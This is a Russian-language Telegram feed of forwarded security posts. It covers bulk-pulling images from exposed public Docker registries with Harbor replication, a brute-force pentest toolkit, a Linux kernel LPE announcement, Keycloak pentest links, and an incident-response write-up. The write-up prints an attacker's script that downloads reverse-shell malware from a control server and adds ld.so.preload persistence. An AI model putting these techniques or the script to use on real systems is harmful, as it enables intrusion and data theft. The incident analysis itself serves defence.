Forwarded from Хатка бобра (Дмитрий Курамин)
Форк с ускоренной доставкой🚀
Как утащить сотни образов Docker контейнеров за несколько кликов и считанные минуты
Если вы начнете искать информацию о том, как стянуть образы контейнеров с публичного Docker registry, то, почти наверняка, столкнетесь c DockerRegistryGrabber.
Сегодня мы отправим этот проект на свалку истории и научимся пуллить в промышленных масштабах🏭🏭🏭
Для начала вспомним, по каким признакам можно определить наличие Docker registry на хосте:
1. Открыт порт TCP 5000
2. GET-запрос возвращает ответ сервера с кодом HTTP 400:
3. Docker registry может быть развернут на хосте Gitlab, Nexus, jFrog.
Окончательно убедиться в наличии Docker registry можно сделав HTTP-запрос к этому хосту:
Если в ответ получите JSON со списком образов контейнеров, то вы на верном пути😎
А теперь перейдем к сути этого поста. Как забрать эти образы?
Нам понадобится... Harbor! Да, мы заставим точно такой же Docker registry работать на нас. Процесс установки и настройки займет, максимум, полчаса времени и описан вот здесь. Чуть позже вы оцените полезность потраченного на его установку времени.
А теперь к сути.
Решить нашу проблему со стягиванием большого количества контейнеров поможет репликация. Harbor сам пойдет в другой Registry и стянет оттуда все необходимое 😊 В нашем примере мы сделаем это на примере простого Docker registry, доступного на TCP 5000.
Для этого нам потребуется:
1. Добавить донорский Docker registry в раздел Administration -> Registries -> New endpoint. Здесь есть несколько обязательных параметров: Provider, Name, Endpoint URL. В качестве провайдера указываем опцию "Docker registry". Name - любое имя, которое вам нравится. Endpoint URL - URL найденного Docker registry. Дополнительно рекомендую снять галочку с "Verify Remote Cert".
2. (не обязательный шаг) Переходим в Projects -> New Project и создаем новый проект. У нас он будет называться test.
3. Теперь переходим в режим репликации Administration -> Replications -> New Replication Rule и указываем опции репликации:
Name - любое имя
Replication mode - Pull-based, потому что мы стягиваем образы, а не публикуем
Source registry - выбираем Docker registry, указанный в п. 1
Destination -> Namespace - указываем имя проекта из п.2, либо оставляем пустым
Destination -> Flattening - выбираем "Flatten All Levels"
4. Сохраняем, выбираем созданную репликацию, нажимаем на кнопку "Replicate" и наслаждаемся процессом. Стянутые контейнеры окажутся в созданном проекте test и теперь мы будем работать с ними уже в рамках нашего Harbor.
p.s. Чтобы стянуть конкретный тэг образа контейнера, нужно провалиться в этот контейнер внутри созданного проекта, выбрать интересующую версию и далее нажать кнопку "Copy pull command". Harbor формирует команду для Docker и Podman.
Как утащить сотни образов Docker контейнеров за несколько кликов и считанные минуты
Если вы начнете искать информацию о том, как стянуть образы контейнеров с публичного Docker registry, то, почти наверняка, столкнетесь c DockerRegistryGrabber.
Сегодня мы отправим этот проект на свалку истории и научимся пуллить в промышленных масштабах🏭🏭🏭
Для начала вспомним, по каким признакам можно определить наличие Docker registry на хосте:
1. Открыт порт TCP 5000
2. GET-запрос возвращает ответ сервера с кодом HTTP 400:
Error 400 Not a Docker request3. Docker registry может быть развернут на хосте Gitlab, Nexus, jFrog.
Окончательно убедиться в наличии Docker registry можно сделав HTTP-запрос к этому хосту:
curl -k -X GET https://some-host.net/v2/_catalog
Если в ответ получите JSON со списком образов контейнеров, то вы на верном пути
А теперь перейдем к сути этого поста. Как забрать эти образы?
Нам понадобится... Harbor! Да, мы заставим точно такой же Docker registry работать на нас. Процесс установки и настройки займет, максимум, полчаса времени и описан вот здесь. Чуть позже вы оцените полезность потраченного на его установку времени.
А теперь к сути.
Решить нашу проблему со стягиванием большого количества контейнеров поможет репликация. Harbor сам пойдет в другой Registry и стянет оттуда все необходимое 😊 В нашем примере мы сделаем это на примере простого Docker registry, доступного на TCP 5000.
Для этого нам потребуется:
1. Добавить донорский Docker registry в раздел Administration -> Registries -> New endpoint. Здесь есть несколько обязательных параметров: Provider, Name, Endpoint URL. В качестве провайдера указываем опцию "Docker registry". Name - любое имя, которое вам нравится. Endpoint URL - URL найденного Docker registry. Дополнительно рекомендую снять галочку с "Verify Remote Cert".
2. (не обязательный шаг) Переходим в Projects -> New Project и создаем новый проект. У нас он будет называться test.
3. Теперь переходим в режим репликации Administration -> Replications -> New Replication Rule и указываем опции репликации:
Name - любое имя
Replication mode - Pull-based, потому что мы стягиваем образы, а не публикуем
Source registry - выбираем Docker registry, указанный в п. 1
Destination -> Namespace - указываем имя проекта из п.2, либо оставляем пустым
Destination -> Flattening - выбираем "Flatten All Levels"
4. Сохраняем, выбираем созданную репликацию, нажимаем на кнопку "Replicate" и наслаждаемся процессом. Стянутые контейнеры окажутся в созданном проекте test и теперь мы будем работать с ними уже в рамках нашего Harbor.
p.s. Чтобы стянуть конкретный тэг образа контейнера, нужно провалиться в этот контейнер внутри созданного проекта, выбрать интересующую версию и далее нажать кнопку "Copy pull command". Harbor формирует команду для Docker и Podman.
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - Syzik/DockerRegistryGrabber: Enumerate / Dump Docker Registry
Enumerate / Dump Docker Registry. Contribute to Syzik/DockerRegistryGrabber development by creating an account on GitHub.
Forwarded from #memekatz
This media is not supported in your browser
VIEW IN TELEGRAM
Когда просят описать работу в SOC
Forwarded from GISCYBERTEAM
Lucille
Lucille — это инструмент для тестирования безопасности веб-приложений, созданный на Python. Он предлагает удобный набор инструментов, обеспечивая эффективное и практичное решение для оптимизации задач пентеста. Lucille помогает централизовать различные методы аудита и эксплуатации, упрощая процесс выявления уязвимостей.
Репозиторий:
https://github.com/jasonxtn/Lucille
Установка:
Запуск:
Lucille предоставляет комплексный набор инструментов для тестирования безопасности веб-приложений:
1. Сбор информации
- DNS Lookup + Cloudflare Detector
- Whois Lookup
- Zone Transfer
- Reverse IP Lookup
- Linkgrabber
2. Брутфорс атаки:
- WordPress Brute Force
- Joomla Brute Force
- CPanel Brute Force
- Mass Brute Force + CMS Filter
3. Инструменты эксплуатации:
- Admin Panel Finder
- MD5 Decryptor
4. Инструменты пост-эксплуатации
- Shell Checker
- SMTP Tester
- Mail List From Config
Lucille — это инструмент для тестирования безопасности веб-приложений, созданный на Python. Он предлагает удобный набор инструментов, обеспечивая эффективное и практичное решение для оптимизации задач пентеста. Lucille помогает централизовать различные методы аудита и эксплуатации, упрощая процесс выявления уязвимостей.
Репозиторий:
https://github.com/jasonxtn/Lucille
Установка:
git clone https://github.com/jasonxtn/lucille.git
cd Lucille
pip install -r requirements.txt
Запуск:
python lucille.py
Lucille предоставляет комплексный набор инструментов для тестирования безопасности веб-приложений:
1. Сбор информации
- DNS Lookup + Cloudflare Detector
- Whois Lookup
- Zone Transfer
- Reverse IP Lookup
- Linkgrabber
2. Брутфорс атаки:
- WordPress Brute Force
- Joomla Brute Force
- CPanel Brute Force
- Mass Brute Force + CMS Filter
3. Инструменты эксплуатации:
- Admin Panel Finder
- MD5 Decryptor
4. Инструменты пост-эксплуатации
- Shell Checker
- SMTP Tester
- Mail List From Config
Наш Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Forwarded from Proxy Bar
CVE-2024-36972
*
Два в одном !
Linux
*
vulnerability affects Linux kernel versions:
v6.8 to v6.9
v5.15.147
v6.1.78
v6.6.17
POC exploit
#Linux #lpe #container #escape
*
Два в одном !
Linux
LPE and Container Escape*
vulnerability affects Linux kernel versions:
v6.8 to v6.9
v5.15.147
v6.1.78
v6.6.17
POC exploit
#Linux #lpe #container #escape
Forwarded from offsec notes
Keycloak pentest
Articles
Part 1 - Link
Part2 - Link
Tools
Keycloak security scanner - Link
* Начиная с keycloak 17.0+ роут /auth в URL должен быть пропущен (
Articles
Part 1 - Link
* Am I Testing Keycloak?
* Keycloak Version Information
* OpenID Configuration /SAML Descriptor
* Realms (Enumeration && Self-Registration Enabled)
* Client IDs
* Scopes
* Grants
* Identity Providers
* Roles
* User Email Enumeration
Part2 - Link
Reconnaissance
* Additional Services and Ports
* Interesting Local Files
* Reconnaissance Conclusion
Exploitation
* Brute Force Login
* Bypassing/Automating CSRF
* JWT Signing Algorithms
* Make the most out of your scopes/roles
* offline_access
* uma_authorization
* profile
* address
* phone
Tools
Keycloak security scanner - Link
* Начиная с keycloak 17.0+ роут /auth в URL должен быть пропущен (
/realms/realm_name/)Csacyber
Pentesting Keycloak Part 1: Identifying Misconfiguration Using Risk Management Tools
Keycloak is an open-source Identity and Access Management (IAM) solution. It allows easy implementation of single sign-on for web applications and APIs.
Наш Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
www.opennet.ru
Доступен дистрибутив OpenWrt 24.10
После более года разработки представлен значительный выпуск дистрибутива OpenWrt 24.10.0, развиваемого для сетевых устройств, таких как маршрутизаторы, коммутаторы и точки доступа. OpenWrt поддерживает 1970 устройств и предлагает систему сборки, упрощающую…
🔗Ссылка:
https://opennet.ru/62680/
https://opennet.ru/62680/
Forwarded from ESCalator
(Ex)Cobalt в контейнере 🛂
В ходе реагирования на компьютерный инцидент команда PT ESC IR установила факт закрепления злоумышленников в Docker-контейнерах.
Анализируя дамп с узла, на котором установлен Docker, мы обнаружили образцы ВПО в директории
Стало понятно, что мы обнаружили заражение внутри одного из контейнеров. Для дополнительного анализа мы получили Docker-образ, на основе которого создавался контейнер. Пример команды:
Анализ истории показал, что атакующим удалось модифицировать образ путем выполнения двух команд:
Далее в одном из слоев образа мы обнаружили самоудаляющийся sh-скрипт
Скрипт подгружал образцы ВПО с управляющего сервера в образ, а также для закрепления прописывал их в
🧐 Расследование показало, что атакующие модифицировали Docker-образ создаваемых контейнеров и таким образом не только закрепились в скомпрометированной инфраструктуре, но и получили контроль над вновь создаваемыми контейнерами.
Чтобы предотвратить подобные компьютерные инциденты, рекомендуется проверять ОС, а также функционирующие на устройствах Docker-контейнеры и конфигурационные файлы / скрипты, участвующие в сборке.
IoCs:
#ir #ioc #malware
@ptescalator
В ходе реагирования на компьютерный инцидент команда PT ESC IR установила факт закрепления злоумышленников в Docker-контейнерах.
Анализируя дамп с узла, на котором установлен Docker, мы обнаружили образцы ВПО в директории
/var/lib/docker/overlay2/[a-z0-9]+/diff/usr/bin/.+. Она содержит слои контейнеров:/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/processes — Reverse SSH
/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/checks — ExСobalt Reverse SSH
Стало понятно, что мы обнаружили заражение внутри одного из контейнеров. Для дополнительного анализа мы получили Docker-образ, на основе которого создавался контейнер. Пример команды:
docker save myimage:latest | gzip > myimage_latest.tar.gz
Анализ истории показал, что атакующим удалось модифицировать образ путем выполнения двух команд:
COPY, которая копировала файл update в образ, и команды запуска скрипта /bin/bash /update. Затем модифицированный образ был загружен в локальный Docker Registry.{
"created": "2023-08-11T01:13:12",
"created_by": "/bin/sh -c #(nop) COPY file:[REDACTED] in / "
},
{
"created": "2023-08-11T01:13:18",
"created_by": "/bin/sh -c /bin/bash /update"
}Далее в одном из слоев образа мы обнаружили самоудаляющийся sh-скрипт
update:#!/bin/bash
rm -- $0
apt update
apt install wget curl -y
apt-get clean autoclean
apt-get autoremove --yes
wget -q [REDACTED]:8000/bin/rev_sh_dns -O /usr/bin/checks
wget -q [REDACTED]:8000/bin/rev_ssh -O /usr/bin/processes
wget -q [REDACTED]:8000/lib/libssoc.so.3h -O /usr/lib/x86_64-linux-gnu/libssoc.so
chmod +x /usr/bin/checks /usr/bin/processes /usr/lib/x86_64-linux-gnu/libssoc.so
echo "/usr/lib/x86_64-linux-gnu/libssoc.so" >> /etc/ld.so.preload
Скрипт подгружал образцы ВПО с управляющего сервера в образ, а также для закрепления прописывал их в
/etc/ld.so.preload./usr/lib/x86_64-linux-gnu/libssoc.so — образец ExСobalt Launcher запускает процессы /usr/bin/checks и /usr/bin/processes.🧐 Расследование показало, что атакующие модифицировали Docker-образ создаваемых контейнеров и таким образом не только закрепились в скомпрометированной инфраструктуре, но и получили контроль над вновь создаваемыми контейнерами.
Чтобы предотвратить подобные компьютерные инциденты, рекомендуется проверять ОС, а также функционирующие на устройствах Docker-контейнеры и конфигурационные файлы / скрипты, участвующие в сборке.
IoCs:
leo.rpm-bin.link
mirror.dpkg-source.info
e49b72e58253f4f58f9c745757eb3ab0
3bd5560b50c751c91056bfe654f9bc70
ef587305a462161682f74d0cad139caa
#ir #ioc #malware
@ptescalator